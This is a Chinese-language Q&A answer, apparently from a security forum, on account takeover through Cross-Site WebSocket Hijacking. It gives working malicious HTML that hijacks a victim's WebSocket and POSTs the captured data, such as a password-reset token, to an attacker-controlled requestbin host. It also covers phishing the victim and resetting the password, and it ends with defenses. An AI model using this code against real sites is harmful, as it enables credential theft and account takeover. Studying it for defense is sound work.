利用WebSocket跨站劫持(CSWH)漏洞接管帐户

利用WebSocket跨站劫持(CSWH)漏洞接管帐户
最新回答
宇宙藏进你

2022-10-30 08:48:30

利用WebSocket跨站劫持(CSWH)漏洞接管账户的核心步骤是通过诱导用户访问恶意页面,劫持其WebSocket连接并获取敏感令牌(如forgotPasswordID),最终实现密码重置或账户接管。以下是具体技术细节与攻击流程:

一、CSWH漏洞原理

WebSocket协议默认不强制同源策略(Same-Origin Policy),若服务器未验证WebSocket连接的Origin头或未实施CSRF防护,攻击者可构造跨站请求劫持合法用户的WebSocket会话。

  • 关键条件:目标WebSocket服务未验证Origin头,或验证逻辑存在缺陷(如仅检查是否存在Origin而非具体值)。
  • 攻击目标:依赖WebSocket传输敏感操作(如密码重置令牌、会话令牌)的应用。
二、漏洞验证步骤
  1. 登录目标应用在浏览器中访问目标Web应用并登录,确保后续WebSocket连接携带用户会话。

  2. 测试WebSocket连接

    在新选项卡打开WebSocket测试工具(如

    http://websocket.org/echo.html
    ),输入目标WebSocket URL(如wss://website.com)并连接。

    使用Burp Suite代理捕获WebSocket通信数据帧,观察服务器响应。

    漏洞确认:若攻击者页面能成功建立连接并接收与合法页面相同的响应,则表明存在CSWH漏洞。

  3. 分析响应数据检查服务器返回的WebSocket消息,识别敏感参数(如_forgotPasswordId)。

    初始响应可能显示_forgotPasswordId: null,表示未触发密码重置流程。

    通过目标应用的“忘记密码”功能触发重置请求后,再次测试WebSocket连接,捕获包含有效forgotPasswordID令牌的响应。

三、攻击利用链
  1. 构造恶意HTML页面攻击者需托管以下HTML代码至公网服务器,用于劫持用户WebSocket连接并转发敏感数据:

    <!DOCTYPE html><meta charset="utf-8" /><title>Testing</title><script>var wsUri = "wss://host.com"; // 替换为目标WebSocket URLfunction init() { testWebSocket();}function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onmessage = function(evt) { // 将WebSocket响应数据通过XHR发送至攻击者服务器 var xhr = new XMLHttpRequest(); xhr.open("POST", "
    http://requestbin.fullcontact.com/1143n2w1"
    , true); // 替换为攻击者控制的接收端 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send(evt.data); websocket.close(); };}window.addEventListener("load", init, false);</script>
  2. 诱导用户访问恶意页面

    通过钓鱼邮件、社交工程等方式诱骗目标用户点击恶意URL(如

    http://attacker.com/malicious.html
    )。

    用户访问后,浏览器自动建立跨站WebSocket连接,攻击者页面接收服务器返回的forgotPasswordID令牌。

  3. 重置密码并接管账户

    攻击者提取forgotPasswordID令牌,通过目标应用的密码重置接口提交该令牌,设置新密码。

    完成密码重置后,攻击者可使用新密码登录受害者账户。

四、防御措施
  1. 服务器端防护

    验证Origin头:检查WebSocket连接的Origin头是否与合法域名匹配,拒绝跨站请求。

    实施CSRF令牌:在WebSocket握手阶段要求客户端提供有效的CSRF令牌。

    限制敏感操作:避免通过WebSocket传输密码重置令牌等敏感数据,改用传统HTTP请求并加强验证。

  2. 客户端防护

    用户教育:提醒用户勿点击可疑链接,尤其是涉及账户操作的请求。

    使用CSP(内容安全策略):限制页面加载外部资源,防止恶意脚本执行。

  3. 开发规范

    遵循OWASP WebSocket安全指南,对所有WebSocket连接实施严格的同源策略和身份验证。

五、漏洞影响

CSWH攻击可导致账户接管、敏感数据泄露等严重后果,尤其当WebSocket用于传输会话令牌或操作凭证时,风险极高。开发者需在设计与实现阶段主动防御此类漏洞。